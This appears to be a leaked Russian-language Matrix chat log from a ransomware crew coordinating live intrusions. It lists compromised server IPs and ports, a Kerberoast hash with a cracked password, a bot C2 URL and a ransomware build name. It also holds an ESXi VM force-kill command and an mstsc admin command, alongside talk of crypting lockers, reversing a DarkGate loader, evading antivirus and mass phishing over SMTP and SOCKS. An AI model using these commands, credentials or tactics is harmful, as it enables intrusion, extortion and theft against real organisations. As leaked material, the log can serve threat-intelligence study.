или к кому обратится, чтобы тебя по пустякам не дергать

45.77.184.206:46381 SRV-MGMT

> <@usernamegg:matrix.bestflowers247.online> я тебе могу выдать рдп где стоит даргейт

> <@usernamegg:matrix.bestflowers247.online> да, мы сейчас отсуждаем сидим этот вопрос с файлом

> <@usernamegg:matrix.bestflowers247.online> как сделаешь потом расскажи только

а бля, этот дг жэе x64

не получится

а хотя можно команду туда захерачить

есть JS от dg?

```

```

```

сделайте скрин и скиньте мне

* ```

давай его

ага, сек

+++

щас сделаю

отпишу

> <@usernamegg:matrix.bestflowers247.online> в офсие работать )

когда в вайте работал, тоже не любил оффис

из дому проще

понял)

ну прогеров вообще да, многие ебловать любят

мотивацию зачастую теряют

но это до хер пор, пока за голову не возьмутся и дисциплину и график себе не сделают

На примере этого файла: Example namewin32encrypt\_0kuzqzs8xj8\_.exe

сам через такое проходил, когда думал больше о том как бы откосить и так далее

а сейчас главное 1 выходной в неделю делать и все норм

ну или даже пол дня выходного

а вообще лучше всего тренировки помогают отвлечся

```

я до этого вв вайте работал

потом начал стилаками заниматься

трафиком на серое и по стилакам гнать

потом начал криптом заниматься

и вот с криптом с вами и свелись

я вам делал крипт от локера

потому что никто не мог сделать

$krb5tgs$23$*DeployAdmin$isd.local$MSSQLSvc/TECH-.3fdb25b4728:@dm1nid10t

> <@usernamegg:matrix.bestflowers247.online> да, в здоров теле здоровый дух, я каждый день на спорте , lapa тоже приучился )

кстати вайтом сложно назвать то что я делал)

я изначально был по сути реверсером, только для незаконных целей

я ебал антифрод системы

по трафику

++

которые пытались ботов детектить

я их расскусывал и знал как обойти все эти антифроды

по банкам когда работал, тоже приходилось обходить все эти системы

бразуер свой писал, который полностью мог эмулировать любого юзера

вот тип зашел по ссылке

я все его данные стянул

и мог себе в барузер этот отпечаток поставить

ну как по мне это вайт вообще)

максимально лайтовое занятие по сравнению с данным видмо дяеятельности

конечно будет, я в любом случае до конца это доведу

да, до 30)

ты уже кстати говрил мне это

как только познакомились)

> <@usernamegg:matrix.bestflowers247.online> ты главное не пропадай больше так резко и так на долго

> <@usernamegg:matrix.bestflowers247.online> я тогда без твоего крипта жестко встрял

я даже не хочу вспоминать

ебаные болезни

> <@usernamegg:matrix.bestflowers247.online> ты молодой кот )

а типо 9 жизнгей?

> <@usernamegg:matrix.bestflowers247.online> я тебя потерял тогда, сейчас у тебя как самочувствие ? ты следишь за здоровьем ?

45.77.184.206: 45933 DATEN-SRV

* 45.77.184.206:45933 DATEN-SRV

та после того только идиот не будет следить)

ну или суицидник

да, щас скачиваю

> <@usernamegg:matrix.bestflowers247.online> ну потому что молодой )

можешь заходить на дг сервак

вышел

щас зареверсю быстро этот JS команды оттуда вытащу

и прогружу

все, достал команду

щас прогружать буду

отпишу как выполнится

ага, коей

https://i1ovfbpnlgg0hjks.tech/9568c16f-b420-43dc-8a59-f3500b0628fe/bot/21261

у него

щас прогруждаю

5364be52-b420-4c58-9460-2e91431efcdf_encrypt_release_allsystem_x64.zip

в офф походу ушел

даже задачу не успел взять

блин

щас другого найду

да

`mstsc /admin /v:192.168.100.151:3389`

окей

сделаю теги

45.77.184.206:45407 FIZ

* 45.77.184.206:45407 BACKUP-SERVER FIZ

кароче дг этот палится пиздец сильно

даже эти au3 скрипты

тестовую тачку позвал, все четко

а как только реальную с АВ на машине

то сразу все отбой

2 тачки звал ни 1 не пришла

ну это еще и командой

у меня там есть тихий инжект exe x86

был бы видар можно было бы его залить

ну ладно

```

тестовая тачка же пришла

`esxcli vm process kill --type=force --world-id=11008820`

```

* ```

да, та я свою тачку звал

та очко это все)

надо думать со стилаком что то

думаю уже на клоенке написать

45.77.184.206:37669 DOMAIN-SRV2

```

```

`TESTRECHNER-PC.MAYTEC.LOCAL`

```

image.png

```

`SINALITE`

```

`Administrator dah --- Daten-SRV`

я поищу тоже

> <@usernamevv:matrix.bestflowers247.online> ```

братец, завтра уже буду на связи

бошка вообще не варит)

придумаю что то, чтобы времено юзать этот дг как стилак

и может доп закреп

Завтра связь

Добрых снов

ушел

```

```

45.77.184.206:37669

45.77.184.206:45933

95.164.68.76:49469

> <@usernamevv:matrix.bestflowers247.online> `mstsc /admin /v:192.168.100.151:3389`

```

бот так и не вышел онлайн 9 часов прошло

* бот так и не вышел онлайн 10 часов прошло

Спасибо

```

51.222.194.213:45319

51.222.194.213:36621

Привет!

file: tor.txt

ага

я ночью приезал

или у ZZ

мне только ZZ сказал что надо прыгнуть

он вернулся

вот я с ним

+

они не работают)

позови бота заного

как раз хотел написать

880

ну думаю еще сегодня ответят

ну думаю там много автоответов

ответим сегодня им

да я чисто по крупным компаниям прослал

но прослал я 200к аж

ну тем кто не ответил, буду еще повторно слать, но другое письмо

от hr

Боинг въебали видал новость?

короче эту неделю точно буду пробывать такой просыл

нужно понять будем ли цеплять или нет

ну проблема еще в том, что я же запоминаю смтп и сокс с которого прослал

а они могут отвалится за сутки)

> <@usernamegg:matrix.bestflowers247.online> тут вопрос в другом смогут ли они запусктить

Dobroe! Sdelaesh novih bildov shtyk 5 v te4enii dnya kak vramya bydet!?

ага

у нас же был боинг

в прошлом году

мы уже даже ДЦ читали

но не успели джампнуться

из за крипта вроде

жрало

он ушел в офф